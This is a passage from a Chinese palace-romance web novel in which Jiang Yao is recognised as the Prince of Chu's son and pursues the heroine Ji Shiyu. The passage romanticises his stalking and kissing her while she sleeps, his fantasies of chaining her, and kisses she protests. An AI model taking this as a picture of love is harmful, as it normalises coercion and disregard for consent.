那人端着清冷面容,再平静不过,眼中死水冷淡,端望他时,眉梢隐隐挑起。
江子墨霎时忆起腿骨被江曜笑着折断,那股痛苦如附骨之疽,挥之不去。
因此他的双腿已是痊愈,心头的痛恨却一分也没少过。
但江子墨不敢喊出声,他生怕肩舆中人听见。
楚王妃胡氏察觉江子墨一刹的停滞,偏头一睇眼,江曜已是大步走近来。
“楚王妃。”江曜轻喊。
他的大氅微动,其下赤红虎补耀眼,显赫彰显江曜的二品官身,他早已是朝中重臣。
楚王妃胡氏笑回:“江大人。”
江曜瞥了眼肩舆,帷幔四面密不透风,实在是严实。
“楚王府是要寻见陛下?”
他油然自得,幽幽道:“可惜来的晚了一步,陛下已是离席。”
身在皇宫之中,胡氏自不会轻举妄动,她只是笑笑:“家事便不劳江大人多虑了,我们走。”
见这尊肩舆便要越过自己,江曜一记冷笑自唇间溢出。
“我还当楚王妃今日很有兴致,要和我说道说道,白家与楚王府有何渊源呢。”
“大胆,你竟敢提罪臣白家!”
胡氏急切打断了江曜之话,冷脸训斥:“江云让,我劝你不要太放肆,即使陛下看重你一时,但若你你肆意妄为,这官帽掉下来,也是迟早的事。”
江曜挑了眉,他那双阴郁的狐狸眼,便就侧望于身边的肩舆。
就在这时,一只枯黄骨瘦如柴的手探了出来,楚王撩开了帷幔,探出一双幽深的眼。
风雪纷飞,细蔌雪花在宫灯下闪烁,楚王正居高临下俯视江曜。
得见少年的清冷俊容,一双狐狸眼冷冷凌凌,一股莫大的熟悉与几近刻骨的嗜痛之感席卷了楚王。
这每夜魂牵梦绕的感觉,令楚王的手止不住的颤抖。
一个名字,在他心口炸开。
“你……你究竟是谁?”
第96章
江曜的狐狸眼,清冷如霜雪。
这如出一辙的容貌,与少时的白流太像了。
那年白家摊上大事,楚王曾为白流昂求老楚王,求楚王府出面亲见弘文帝,恳求重查白斩霍通敌叛国一案。
然而白流却不同意。
两人的最后一面,白流冷漠闭了闭狐狸眼,少女固执地将楚王推离了白府。
“就当我们不曾相识过,你走吧。”
楚王眼中酸涩,无尽泪意翻涌。
他怎么忘,拿什么去忘?
白流,他心爱的姑娘,生得一副面冷心热的模样,却又性子大胆直烈,她喜欢他时,甘愿主动留他过夜。
她说:“你且记住了,是我要你,而非你要我。”
她不喜欢他了,也不想要他了。
便冷漠地闭门不见。
白家被下狱,楚王急得寻见白流,可是没多久,白斩霍便惨死狱中,而白流也被送出城,流放北边。
楚王追去,路上他坠马双腿断裂,此后他失去了双腿,再站不起来。
从此成了残废。
前尘往事种种,一晃二十载已过。
快二十年了,楚王还以为自己早已忘却了白流,却不曾想,佳人从来活在他心中,不曾死去过一日。
如今,这个少年站在眼前,有着和白流相似的容颜。
楚王不敢置信,他颤抖着,又问了一遍。
“你是谁?”
“王爷。”
江曜颔首道:“我是五军都督府新上任的都督佥事,江云让。”
“不,不,我问的不是你任……我要知道你爹娘是何人?”
楚王双腿瘫了多年,他压根爬不出肩舆,这会儿奋力支着身子想要靠近江曜,可姿态难堪,是连自尊心也被踩在了脚下,不管不顾。
他双目赤红,抖着手:“你娘……你的母亲,可是姓白?”
江曜不语,只是一味盯着楚王看。
这一双狐狸眼静静而望,楚王的魂魄也在这寂静之中被慢慢撕裂。
仿若又回到了当年,那时他和白流的最后一面,她亦是看了楚王很久。
白流不言不语,夹杂了些许的叹息。
楚王不敢再注视江曜,他怕自己抑制不住眼眶的热泪。
沉痛过往没忆起一分,沉甸甸的愧疚都会将他压垮。
连这最后一根稻草,也不想放过他。
“够了!”
楚王妃胡氏在旁吼了出声,她走来打断两人,复而道:“王爷何必为难江大人?白家当年犯大罪,陛下可下过圣旨,还是莫要在宫中非议此事了。”
楚王默道:“是我多想了。”
胡氏叹气:“王爷,我们还要求见陛下,早去早回吧。”
“王爷。”
这时江曜终于出声了,江子墨惶恐不安地瞪过来,指着他说:“江云让,你究竟打算做什么?”
“不做何,无他,我看你们太好过了,心里十分不好受啊。”
在胡氏和江子墨目不转睛的凝望之下,江曜从怀中掏出一枚黑龙玉佩。
他的手一甩,玉佩之上的字迹,清晰可见。
单字一个,曜。
“王爷,我本名江曜,字云让,你说的不错,我母亲确实姓白。”
江曜便就这么直言袒露,当着楚王
妃的面,他堂堂正正的站在了楚王爷面前。
“你,你!”
楚王情绪快要崩塌,他再难抑制:“你是我的孩子,我和白流的儿子……”
江曜垂下眼睫,大雪轻落,雪花簌簌凝结于他眉宇,没了情绪的冷。
他在想。
他多年以来的躲藏,所图为何?
胡家在朝中疯狂打压他,胡氏迫切追杀他,江子墨百般阻挠他归楚王府,他们越不想他得到什么,江曜便越要得到。
摧毁胡氏和江子墨渴求的,江曜觉得这才是对两人最大的报复。
江曜抬首:“是,我是您的儿子。”
这一日,江曜已等得很久了。
……
弘文帝昏昏沉沉从落华宫床榻之上爬起,就听殿外曹云敲门来报。
“陛下,楚王爷有急事求见。”
“让他候着。”
弘文帝着实不耐烦,早不来晚不来,偏挑了这个时候入宫。
一年到头也没见双腿残废的楚王一回,皇帝甚至于忘了楚王竟还没死。
落华宫殿外,大雪下了足有两个时辰,在院中堆积洒满银华。
宫婢亮了宫灯,与江曜先前来时,院中已是大亮。
楚王府那座肩舆便落在殿外,荀美人立在殿门口的宫灯之下,柔弱的身子瑟瑟发抖。
三皇子江承北脸色黑沉,而他手边柳眉很是不安地垂着头。
柳眉才得知,今夜弘文帝在落华宫宠幸了她的丫鬟玉香。
也不知事后弘文帝醒来,可会怒发降罪于三皇子。
柳眉后悔了。
江承北心起要以毁了姬时语清白的法子,让她入三皇子府。
可是柳眉还是不愿。
她知晓江承北忌惮忠义侯府,不愿侯府归顺大皇子亦或二皇子党,既如此,她不如推波助澜。
让姬时语入皇宫好了。
可没成想,今夜这一推手竟未能事成,那么她也就……
柳眉后怕的颤栗,不敢再多想。
江曜见到这两人,他当即冷笑一声,径直走了过去。
“三殿下还真是好算计,皇室得不到忠义侯府的鼎力相助,便想使下三滥的手段送忠义侯府的姑娘入宫?”
江曜满脸讥嘲,望着江承北的眼写着鄙夷,“欺负一个小姑娘算何本事,三殿下想要大位,劝你一句,莫动阴招,不然怎么死的都不知道。”
“江云让!”
江承北常年出身卑微,最受不住别人以鄙夷待他,他彻底被激怒。
“什么阴招损招?你给我把话说清楚!”
“三殿下敢做不敢当?那我更要瞧不起你了。”
江曜才是愤恨,一个大皇子党有意求娶姬时语,一个三皇子党算计忠义侯府的兵权。
姬时语还未定亲,却成了几个人相争的鱼肉。
这才是他执意要在楚王跟前露面的缘由。
他必须回楚王府。
不能再做劳什子姬时语的哥哥了。
他要娶她。
江曜要寻求楚王府之力,他要坐上高位,给姬时语一个尊贵到无人敢欺负的身份。
只有姬时语成了他的妻,外人才不敢肖想她。
“落华宫的红梅裙,十几年前六宫荣宠的梅妃,冬日无声无息死在了梅花林。”
江曜狐狸眼阴沉,一字一句诉说完,他呵笑道:“荀美人给五小姐换这样一身衣服,居心何在?”
话落,江承北满目震惊。
江承北翻来覆去来回看荀美人和柳眉,那两人齐齐惨白着脸,不敢多说。
还有什么不明白的?
“成事不足败事有余的东西!”
江承北暴怒,痛斥柳眉:“这就是你干的好事?”
江曜厌恶至极,眉宇冷漠。
落华宫换的红梅裙,柳眉几人打的龌_龊心思。
是要将姬时语献给弘文帝!
真是让人想要碎尸万段,都不为过。
突然,宫中传来了动静。
曹云推开殿门,朝着楚王府那头喊了一句:“陛下宣楚王爷觐见。”
“送本王入殿面圣。”
肩舆倏的被抬起,楚王喊了话,让仆从抬他入殿,曹云多看了一眼,没做阻拦。
弘文帝早免了楚王的礼节,双腿都和无了一般,还跪拜行什么礼,只管让人抬进去就好。
……
从皇宫归忠义侯府,已是深夜。
江曜风尘仆仆,一袭大氅挂满霜雪,墨色之中点着浅白,像褪了几分寒冷。
他轻车熟路来到了韶华院,站在院门口,朝里眺望了两眼。
此时姬时语已是歇下,屋中灯火熄灭,丫鬟们去了偏殿休息。
江曜翻墙而入,潇洒轻声落了地,雪落得太厚,他的脚步没发出声响。
轻手轻脚摸开了窗棂,江曜翻了进屋。
姬时语畏寒,屋中火炉烧得很旺,江曜才一入,闷热的他解开大氅,推落至地。
江曜悄悄走去床边,一道清浅的呼吸声与甜腻的玉兰花香,一起一伏,帷幔之中的小姑娘每呼吸一声,香气便重一分。
撩开帷幔,姬时语仰躺窝在被褥之中,许是火炉热气滚滚,她踢了被子,十根脚趾皆露在了外头。
“还是喜欢踢被子啊。”江曜暗笑。
十岁时还有的坏毛病,近十六岁了,小姑娘也没改掉。
那双微露在被褥外的脚踝瓷玉似的,白的晃眼。
腕上空无一物,好似有一分的缺憾。
唯独少了一样物什。
镣铐。
“若是能给阿锁系上,不知道该有多好看。”
想到雪白脚腕扣上锁链,江曜眸子幽暗,笑得深沉。
“阿锁说过,不喜欢被铁链拴着,那就不要让我动那样的心思啊。”
别庄的铁链与红绸,那是江曜的另一个居处。
姬时语从不知的,两人的家。
江曜起了身,他侧身去到桌案,从桌上拿起几张纸页翻读。
一盏鎏金竹节熏炉摆在侧,幽幽飘出安神香气。
从前姬时语身子弱,便惯用安神香入睡,及笄之后,萍柳亦是每夜点上一根。
江曜捧读几页,暗笑起来,目光炯炯有神。
姬时语已写到小公主与少年将军的大婚之日,将军揽了新娘子上马,游街十里路。
江曜笑了,原来她还是不忘当年那一出两人同行游街。
阿锁期待的,他怎么能令她失望?
“日后我们二人的大婚,我该准备些什么好呢?”
十里红妆,千金聘礼,像不够配他的阿锁。
啊,两人的亲事未定,婚期也并未下,他还得寻个日子,将此事告知姬时语的爹娘忠义侯和舒氏二人。
“要早些合八字,定婚期啊。”
江曜眼眸阴沉,低低自语。
他再度笃定,若有人要说他和姬时语八字不合,不堪结为夫妻,他就砍了那人的脑袋。
这世上,他和姬时语,只能是天作之合,天仙良配。
没有二话。
回到床榻边,姬时语近在咫尺,江曜俯身伸出手。
他抚摸上她白软柔滑的脸蛋,姬时语熟睡着,唇间嘟哝两声,便朝他手心主动地靠近了过来。
毫无知觉的,姬时语蹭蹭他微凉的手。
很是爱娇。
江曜再也忍耐不住,握住她的下巴,俯首便含住了她的朱红唇瓣。
啄了啄她的唇,又吮了两下,他不敢咬得太重,生怕姬时语惊醒。
可突然之间,姬时语微微张开了嘴,那股独属于她的玉兰花香又重了些,好似能从她唇齿之间呼入他的唇。
江曜有些迷醉,香气勾得他不愿意松口。
闭起眼,他的舌尖卷着那道香气,将她甜软的唇瓣,里里外外,和着香气,让江曜吃了个半饱餍足。
这是她主动送给他的。
江曜偏执地想。
“阿锁,真乖。”
若是平日她也不那么抗拒他,主动缠着他撒娇,同他索吻,该多好呢?
江曜总想着,有朝一日,姬时语能清醒的,明晰他的心意。
知晓他有多爱她,爱到愿意将这条命亲自送到她身上。
她可以杀死他,他也甘愿与她同死的地步。
江曜抚摸姬时语泛着红肿的唇,指腹掐了点力,那处娇艳变得微红。
“不要让我等太久啊,我会失了耐心的。”
再起身时,江曜仍是留恋万分,又
不舍地俯下身,再吻了姬时语一口。
第97章
弘文帝宣见了楚王,亥时一刻,被迫从后宫温存里翻身爬出,注定了弘文帝心情极其不悦。
理了理凌乱的龙袍,弘文帝掀了眼皮看楚王,“什么事,让楚王大晚上入深宫执意见朕?”
“陛下。”
楚王倒躺于肩舆之中,他不得下地行礼,只好侧着身子拜道:“实在是此事太过要紧,臣不得不恳求面圣。”
“说来听听吧。”
弘文帝齐整龙袍衣袖。
楚王府乃是当今唯一的皇族宗室,老楚王又是弘文帝的大皇兄,弘文帝对老楚王留有几分敬重,待老楚王唯一的嫡子楚王也还算亲切。
于情于理,楚王喊弘文帝一句“皇叔”亦是可以的。
“陛下,臣今日才得知,五军都督府的都督佥事江云让,是臣失散多年的儿子江曜。”
楚王恭敬之态,双手经不住颤抖,连声音也染了泪意,“近二十年了,臣才知晓这孩子的下落,臣想恳请陛下开恩,特允他回楚王府。”
“江云让是你的儿子?”
弘文帝一双虎目瞪着,炯炯有神,像要看穿楚王整个人。
楚王却固执己见,并未迟疑:“是,他确确实实是臣的儿子。”
“江云让不像是楚王妃与你婚前偷生下来的,楚王妃怀上世子那般艰难,若是婚前有个孩子傍身,也不会三番五次折磨你了,那么,他是谁的孩子?”
只是一刹那,弘文帝便察觉了异样,“楚王,你和哪个女人生下的他?”
楚王被问得满身尴尬,他已是双腿残废,在世人眼中如废人无疑。
连江子墨,亦是楚王妃强生而来。
这孩子自然不可能是胡氏之子。
江曜的生母,是他此生唯一的挚爱。
只是白家的谋反之罪,是弘文帝亲自下旨,白流因此惨遭流放。
楚王踌躇了,顿了片刻,他还是斗胆说出了口:“回陛下,此子生母,是白家的嫡出千金。”
话音落,殿内空荡如死寂,唯有殿外大雪纷扬落下的响动。
楚王大气也不敢出一下,上首弘文帝如怒视般的瞩目,盯得他冷汗淋漓。
躺在肩舆之中,他只得侧头避开视线,方可喘息。
良久,弘文帝不怒自威:“你再说一遍,是谁?”
“是白家人。”
楚王已是势如破竹。
当年的他太怯懦,没能为心爱之人求见弘文帝,争得一线生机。
若他当年执意入宫求情,兴许白流便不会流放惨死。
今日楚王来求见弘文帝,早已打定主意,他誓必要让江曜,让他的亲生儿子认祖归宗,回他楚王府。
楚王肯定道:“陛下,是白家二小姐,我们婚前便有了首尾,她怀上了我的孩子。”
“混账!”
不出所料,弘文帝大发雷霆,皇帝抄起一尊仙鹤腾云蟠花烛台,便往楚王的肩舆砸去。
陛下怒骂:“你可知道白家犯下滔天大罪,通敌叛国,意图谋逆?”
楚王一个闭眼,肩舆晃动,烛台沉重跌落至地。
“臣知道。”
“你知道竟然还和白家人有了孽种,如今却还要朕允他认祖归宗,上皇室玉牒?”
“陛下。”
楚王掐住拳头,手心发抖。
正是太清楚白家为人,他才坚信白家是受了污蔑,遭此迫害。
他的白流何其无辜,身陷囹圄之中,她走前只字未提,是为了让他不受牵连,因而决议斩断两人之间的关系,只字未提。
他甚至不知道心爱之人有了身孕。
这些年闭门不出,他都干了些什么?
楚王眼睛发红,他直视弘文帝,掷地有声:“臣和白家女两情相悦时,白家还未被定罪,请陛下宽恕。”
弘文帝黑沉的眼盯着楚王看。
楚王今日胆敢带着孽种入宫,要他承认这是皇室后裔,皇帝的脑中是连废掉楚王府爵位的圣旨都已想好了!
“你想说,那孩子是你们之前有的?”
“是。”
楚王想的明白,白家罪名已下,弘文帝不会变心。
不管白流何时怀的孩子,他只管咬死了那时的白流不是罪臣之妹。
果真,弘文帝怒气消散几许,他凝着楚王残废的双腿,意味不明。
“你确信他是你的儿子,而非冒充的?”
“陛下,那时候臣双腿完好,是能生出儿子的。”
楚王态度坚决,百般笃定:“他身上还有臣交给白家女的玉佩。江曜,就是臣为第一个儿子取得名讳。陛下,江曜是臣的儿子,这话就缺您的一句准肯了。”
“好,好,好,二十年前你就想好了,合着朕才是那个恶人,碍着你们父子相认了!”
楚王可谓把弘文帝驾着,今夜非要陛下给个肯信才罢休。
对此,弘文帝恼火不已。
尤其此事还牵连忠义侯府,江曜早先被侯府收养,又受忠义侯教导,在岭西立下五年战功,赫赫有名。
都督佥事可是弘文帝他亲自册封的。
得知真相的弘文帝,大为恼怒,又是彻头彻尾的悔不当初。
皇帝之怒,总要寻个人发泄。
因此,弘文帝喊了曹云滚入殿中,命他即刻寻人传唤忠义侯姬雄武。
……
白银铺地,时至深夜,姬雄武冷脸从皇宫回到忠义侯府。
海棠苑内,舒氏为姬雄武留了一盏油灯。
当姬雄武卷着风雪踏入屋中时,舒氏被惊动,已是惊诧地起了身。
“怎么还未睡下?”
姬雄武拧眉,孔武有力的脸庞生着关切。
“今日宫宴阿锁出了那等事,我哪来心思睡觉?”
舒氏上前接过他的外衫,素手轻拍在他手臂,温声说道:“侯爷入宫面圣,陛下可有说什么?”
“还不是为了云让那小子的事,楚王今日入宫,正好和他撞见,父子两人相认了。”
“我们收养云让多年,早知道他身世复杂,命运驳杂多端,这一日迟早要来的。”
“只是楚王想要云让上皇家玉牒,得天下承认,陛下却十分介意他生母是白家之女。”
姬雄武三言两语说明白了,舒氏不免忧心忡忡,“白家毕竟犯下谋逆之罪,不可饶恕,陛下心有芥蒂,传唤侯爷入宫,可是为难侯爷了?”
“还好,我只当不知情。”
姬雄武握住了舒氏的手,她的手微凉,想必是一直未睡等他归来,他心疼地给她捂着。
“不必忧心,陛下松了口,之后会允云让回皇室。再怎么说,他身上都留着皇室宗族的血。”
“嗯。”
舒氏应了一声,转而说起旁事,“侯爷,今日宫宴,我发现阿锁被人盯上了。”
姬雄武等她说。
“宫中黑手不少,阿锁被换了一身红梅宫装,许是有人想效仿梅妃献艺,要将她送给陛下。”
“竟还有这事!”
姬雄武怒不可遏,他本就是武将,忍不了脾气,当即发作:“我说怎么入宫时,还听得了一道封妃圣旨!”
舒氏脸色十足难看,姬时语是她最疼爱的女儿,她怎甘愿送娇花一样的小女儿,入宫为妃。
“是三皇子妃。”
舒氏将事由经过道出。
姬雄武眼眸闪动,很快冷哼:“好一个三皇子党,敢算计阿锁,看来我劝说云让回楚王府是对的。”
舒氏惊讶:“侯爷?”
“一个胡家,一个楚王府,迟早我要把三皇子党的爪牙给折了。”姬雄武冷脸弑杀。
“侯爷,我们是时候得为阿锁相看人家了。”
舒氏叹了口气,她的眼尾有了泪,轻轻便抹了一把,“我总觉着阿锁还小,我舍不得她,想多留几年在身边养着我的姑娘,可外头总有人惦记着她。若有万一,哪日旁人真算盘成真,我非得心如刀割。”
“我又何尝不是想她多几年在身边承欢?阿锁自小体弱,也不如别家姑娘,能四处走走,我心里总觉得亏欠她。”
姬雄武揽住舒氏,不免叮嘱她:“要给她找个清白人家,她受不得委屈,不求荣
华富贵,万不可让阿锁嫁去日日抹泪。”
“我想的也是,人丁简单点最好,家中关系亲近,不多纷争的,侯爷以为呢?”
“阿锁心思单纯,待人真心,却脾气倔,夫人你所想亦是我想。”
舒氏凝视姬雄武,顿了半晌,复而叹气,提起了江曜的名字。
“侯爷,我想过可要让阿锁和云让定亲,云让到底是你我看着长大的孩子,知根知底,他不会差,加之他待阿锁极好,我信他真心万千。”
“不行。”
谁料姬雄武一口否认,满脸冰冷:“江云让是个好将士、好兄长,但我不会允他娶阿锁为妻。”
“我也只是想过,云让是楚王之子,却并非楚王独子,上头还有个蛮横的楚王妃,楚王府又是那般境地。”
“楚王府盘根错杂,这门亲事我绝不会答应。”
“我心中有数的,阿锁嫁去楚王府,只怕要被楚王妃当馅饼随意掐揉把搓,还是罢了。”
夫妻二人说了夜话,竟在姬时语婚事上,无比的心有灵犀。
两人都不愿意将捧在手心的小姑娘,嫁去一盘散沙的楚王府。
江曜有这等身世,已被夫妻二人从人选之中舍弃。
舒氏打算给姬时语重新相看,早些定下她的未婚夫,免得再有人节外生枝。
……
隔日大雪绵长,夜里竟是停了。
江曜摸黑来到韶华院时,姬时语还未入睡。
姬时语端了把花梨西番莲纹扶手椅,坐于屋门前,捧着莹白柔软的小脸,往外头看雪。
“你不冷?”
江曜走近,他周身寒气逼人。
雪没冻到姬时语,她却被他的冷意冻得打了个哆嗦,气得鼻头通红,抬手推开他。
“讨厌,哥哥身上冻死人了,你离我远些。”
“我很冷吗?觉着冷你怎不进屋,偏要在屋门前吹冷风。”
小姑娘似撒娇,又似在抗拒,惹得江曜更舍不得挪步,只想挨着她。
江曜径直靠过来,从后扑上她身,一拥而上,双手环抱,紧紧将小人儿抱在怀中。
“我就要在这儿嘛!倒是你,还说不冷,你快莫要抱我了,知道我畏寒,你偏还要抱我。”
“抱一会儿给你暖暖。”
姬时语想说他如何给自己暖暖,又在哄骗自己,可是两只手都被江曜自后裹住了。
他的手很大,骨节分明,攀着她的手背,满满覆盖。
“这样多好。”
“你只是想抱着我罢了,还找有的没的由头。”
“被阿锁说中了,怎么办呢?”
江曜当然不会放,他固执地捉住她,双臂圈在她后,强硬环抱于她,不给走。
“你看你冷冰冰的,就是有在欺负我!“姬时语气哼哼。
姬时语柔软馨香的身子却很顺从的贴在他胸前,她歪了下脑袋,也没能挪动半分。
小身子真当暖暖的,令江曜忍不住想要靠近。
江曜垂首,嘴唇轻贴在她乌发顶上,吻了一记。
“阿锁,我疼你都来不及。”
清冷低沉的嗓音亲吻了她的耳尖,姬时语脸蛋微热。
江曜问她:“会讨厌吗?”
“嗯……”
姬时语禁不住喃喃:“不会。”
不会讨厌,反而还有些喜欢的。
凑这样近说这等话,听得都脸红心跳。
哥哥就是太过分了,只会欺负她脸皮薄,说不出拒绝的话。
“阿锁?”
江曜十根手指都插入了她的指尖,卷起手指时,猛然掐住了她的手。
紧紧的,偏执的,像十根挣脱不了的铁链。
钳制、锁住了她。
姬时语羞赧了,红着脸不应他。
“好冷,我要回屋了。”
姬时语故作咕哝,拨开了江曜的手臂,自顾自地持着矜持,往内室而去。
她身披一袭狐毛大氅,怀中手炉换置一柄新的热乎的,再度捧上。
隔了两步远,姬时语终于感觉自己的心跳平复了下来。
她没法和江曜挨着太近,怕抑制不住狂乱的心。
守着点分寸,对她和他都好。
姬时语偏头,不自在地关心他:“宫里没生什么事吧?”
“陛下宠幸了新人,是三皇子妃身边伺候的丫鬟玉香。”
江曜一双狐狸眼狭长,眼尾微斜,往她脸蛋倾斜了目光。
姬时语怔愣在原地,身子僵直的厉害。
那玉香,岂不就是领她去落华宫的丫鬟?
后知后觉,姬时语恍然大悟,之后便是一股难言的反胃与恶心不断在腹部痉挛。
三皇子党竟打了这样的主意。
把她送去给弘文帝?
江曜冷睨眼,他背手而立,身姿颀长,眼望姬时语撑在桌案,捂嘴不住干呕。
他好似十分平静地掀开薄唇,轻吐话来。
“阿锁想要三皇子党覆灭吗?”
这话如惊雷灌入姬时语的耳。
她迅速回眼,忘了肚里的酸楚,江曜半边脸落于昏暗,依稀烛火微光,照出他面容之上拢着的阴霾。
他在说一句再寻常不过的话。
“你在说什么?先是胡家,后又是三皇子,全因着我,你要他们……江曜,不可以!”
姬时语作惊恐状,是有些被吓到了。
以牙还牙可以,但她绝不是要杀人性命。
若轻易取了人性命,她夜半于心不安,恐难以入睡。
江曜顿时叹口气:“阿锁,还是太心善了。”
“你还未回楚王府,现在不过是五军都督府的都督佥事,却已惹了兵部尚书的恨意。江曜,你已是自顾不暇,还想着要为我动三皇子,你可知这是什么后果?”
姬时语说的激昂,便是想打消江曜意图毁灭几党的念头。
“江曜,我们从长计议。”
“阿锁是在关心我的安危吗?不得不说,我是很受用。”
江曜还说:“不过大皇子本就想纳你为妃,只是大皇子妃碍了事,不得成。三皇子又谋划陷害你,这两人都不是好东西,该杀了。”
“两位皇子若死了,日后谁来继承大统?江曜,你冷静点,大皇子、三皇子乃皇室子嗣,斩杀皇子可是大罪。”
每每听江曜口出狂言,姬时语便是难掩忧心。
她畏惧江曜的瑕疵必报,又惟恐他步入深渊,万劫不复。
“我只是想告诉你,害你的,我一个也不会放过。”
“我知你是心切我,可是,我也想你好好的。”
“阿锁这样记挂我?”
姬时语瞥了眼眸,她不解释,是不愿披露心意。
“我动了胡丰汕,胡家却不能拿我怎样,是因为他们寻不到由头,指责于我。”
江曜只当她是关切自己,他旋即笑了,阴郁的很,“楚王府,我会正大光明回去,如你期盼的那样。阿锁想我做到的,我都会一一办到。”
“你要回楚王府了?”
姬时语微楞,听这话,不知名的酸楚袭上心头,嘴中苦涩。
她好像很是贪心,一面怕江曜的狠,一面贪恋他对自己的好。
她不是个好姑娘啊。
江曜说着:“我在宫中遇见了楚王,他已知晓我的身世。”
“你……那你打算何时回王府?”
“恐怕就这两日了。”
江曜还是那副模样,不动声色,没有波澜,“我觉着是时候要回王府的,我有非做不可的事。”
“什么事?”
“我想成家了。”
“你,你……已有了心悦之人吗?”
“有了。”
说完这句话,姬时语的喉咙像被巨石堵住,疼的她发酸,想说的话,吐出来却太过艰难。
说不出口。
江曜挑了眼望过来,那头的姬时语正掐着自己的手心,小姑娘白软脸蛋朝下低垂,眼睫稍显低落,连声调也垂了下来。
只一眼,江曜满足地笑了。
她还是舍不得他了啊。
江曜抬步,两下便走到姬时语面前,捏住了她的脸,他抚摸着她,嘴里是几近癫狂的固执。
“阿锁,看着我。”
姬时语想要摆头,奈何江曜执意捧着她脸,又将她掰了回来。
不得已,眼眸抬起,落入他黑沉沉的眼瞳之中。
“你告诉我,你想我走吗?”
“我……”
姬时语抓住了他的手,手指攥紧,欲从脸上将他拽下,只是两下拉扯,她指尖没了力气。
她泄了气,放弃了挣扎。
宛如一具被禁锢的人偶,江曜握住她时,她最先起的反应,竟然不是抗拒,而是一股蓬勃的窃喜。
喜悦的是他还在她身边。
没有离开。
江曜捧近了她的脸,这厢之下,干净染了雪的味道裹挟了姬时语,她挪动双眼,轻轻凝视他。
“阿锁,你想吗?”
昏暗的内室,他的每一次喘息
都如此清晰,她再也说服不了自己。
如若不愿,生起这个念头时,本就悸动的心腔,又怎会密密麻麻的疼。
姬时语柔软了眼,轻轻应道:“不想。”
这句不想。
是她的心意,如同诉说着,她喜欢他。
江曜情难自控,听得她说肯定的答复,捧着她脸,迅速覆下了唇。
突如其来的吻,姬时语抬手便要阻拦。
可是江曜捧着她脸,已是准确无误撷取了她唇。
他那双墨色的狐狸眼紧锁于她,如同霎时席卷数只大手,四面八方攀附抓取住她。
黑沉的癫狂,无尽泛滥。
江曜生猛擒住她唇,一个吮咬,姬时语脚下发软,他反手往下落,托住了她的腰。
嘴间火热难耐,江曜反复碾过她唇瓣,单手勾住她纤细的腰肢,他只是朝上一推,姬时语身上披着那件狐毛大氅便落了地。
姬时语被冷得打了哆嗦,江曜揽住她腰卷她入了自己胸膛,紧紧贴着。
吻势如翻涌洪水,越发浓烈,两人清醒之下,姬时语头回被亲得晕头转向。
她喘息不得,双手撑在他胸前,无力地推了推。
绵软的手掌触碰了江曜,他捉住了她的手腕,张口伸出了牙齿。
猛兽怎会满足于浅浅的一个吻,玉兰花香宛如沉醉的花蜜,引诱他入更深处的密林。
江曜咬住姬时语柔软的下唇瓣,她吃了痛,得了空隙,胸口不断起伏,她又去推他。
“你这是冒犯我……”
姬时语声色变了调,像娇嗔:“不要,我不能呼气了……”
“那我就冒犯你。”
可下一瞬,这点空子,又被江曜以唇封住。
这种时候,他不想听她开口说话。
只想亲她。
长长一个吻毕,姬时语白玉似的脸已染红透了,泛着娇艳欲滴的艳色,江曜舍不得放过她,又凑过脑袋轻轻啄了啄她的唇。
刚碰触,姬时语便疼得落了下了眼泪,眼眸水灵,她控诉道:“我的嘴破了,你不许再亲我了,好疼呀。”
她推他,无力也要推,嫣红小嘴被咬破了口子,偏江曜还在那处,吮了许久。
又疼又麻,姬时语只觉得她的唇定是红肿了。
江曜愉悦的笑,他握着姬时语的腰,没让小姑娘离了他的怀抱。
她喜欢他,也没有抗拒他的亲吻,还有比这更令人欢喜的吗?
“阿锁,你真好。”
江曜抚摸她微红的耳朵,嘴里还在回味方才花香的甜腻与娇嫩,她允他闯入,他便觉得好的不得了。
姬时语缩着脑袋,像只鹌鹑一般,趴在江曜胸前。
她不懂自己怎么就被亲了。
还是那么凶猛的一个吻。
仿佛要被江曜吃拆入腹。
可是他还说,自己已有了心悦之人。
他——喜欢的是她。
也想娶她。
姬时语喘不过气,心中沉甸甸的,有欢喜、有不舍、有恐慌,还有几分缠绵的依恋。
“哥哥……”
“阿锁,不要抗拒我。”
江曜轻轻道:“你也喜欢我,是吗?”
姬时语被他揽着,不时抚摸腰窝的软肉,她后背密密麻麻的难耐,喉咙间不自觉溢出一声叮咛。
“嗯……”
这回她主动应了。
江曜抱着她的手瞬间收紧,他话音像很饥渴,迫切道:“再让我亲一口。”
不等姬时语应或不应,江曜已捧起她柔软的脸,擒上了她的唇瓣。
听到她应了喜欢他的话,江曜已被满腔欢喜充斥。
没有什么比两情相悦,心意相通来的更为甜腻惹人。
他只想亲她。
姬时语被江曜褫夺着,托抱起了腰肢,浸入了这个吻。
她的唇瓣如同香蜜,引得江曜不住垂涎。
“好,好了。”
姬时语软趴趴窝在江曜怀中,喘气如香兰,一起一伏好似传递至江曜的胸膛。
身前的触感温热,方才那些事,皆作真实。
他们真的是两情相悦。
终被江曜放下了地,姬时语圈住他的腰,哼道:“你刚亲了我,是占了我的便宜,那是不是该听我的话?”
“阿锁也亲了我,那也是占了我的便宜,不是吗?”
“这怎么一样!”
姬时语对这诡辩立马不服,“明明是你先亲我的,你无赖。”
甫一抬头,对上江曜晦涩不明的笑眼,他直勾勾盯着她红润微张的唇瓣,喉结滚动。
姬时语生怕他再亲下来,她的嘴好疼了,不能再被亲的。
“不管,你得听我的。”
姬时语又埋头下去,她闷闷着说:“哥哥,往后不可以随意动刀杀人,答应我,双手不要再见血了。”
他每回强硬,不讲道理,都令她生出逃离的心思。
偏偏逃脱不了。
她不喜欢听他说看谁人不爽,便要要那人的脑袋。
十分不想看他动手杀人,满手血腥。
总想着江曜能变回从前,还是她温柔的哥哥,褪去冷漠噬血。
他说了喜欢她的话,如此一来,姬时语更有了底气。
江曜拨了拨她耳边的发,散漫地应:“嗯,听你的。”
……
近日,兵部尚书胡老太爷上朝,总横眉冷眼以对五军都督府,任谁也瞧的出兵部彻底和五军都督府交恶。
由头便是新上任的都督佥事江曜。
胡丰汕被废,胡老太爷查不出江曜插手的蛛丝马迹,但他就是看江曜不对付,直觉江曜暗地行了事。
因而今日上朝,胡老太爷有意上呈天听,奏弘文帝以江曜挟私报复为罪名,请求降他的罪。
然而十分罕见的,双腿残废,二十年前便自暴自弃的楚王,今日竟坐着肩舆来了太和殿。
这二十年来,楚王头一回与众位文武百官上了早朝。
坐于石阶龙椅之上的弘文帝,当着百官面,传召江曜于首。
“朕今日广而告之,都督佥事江云让,楚王之子,原名讳江曜,儿时流散民间,幸得忠义侯收养长大。即日起,恢复江曜楚王长公子的身份,宗人府择日为其上玉牒。”
弘文帝宣告众人江曜的身世。
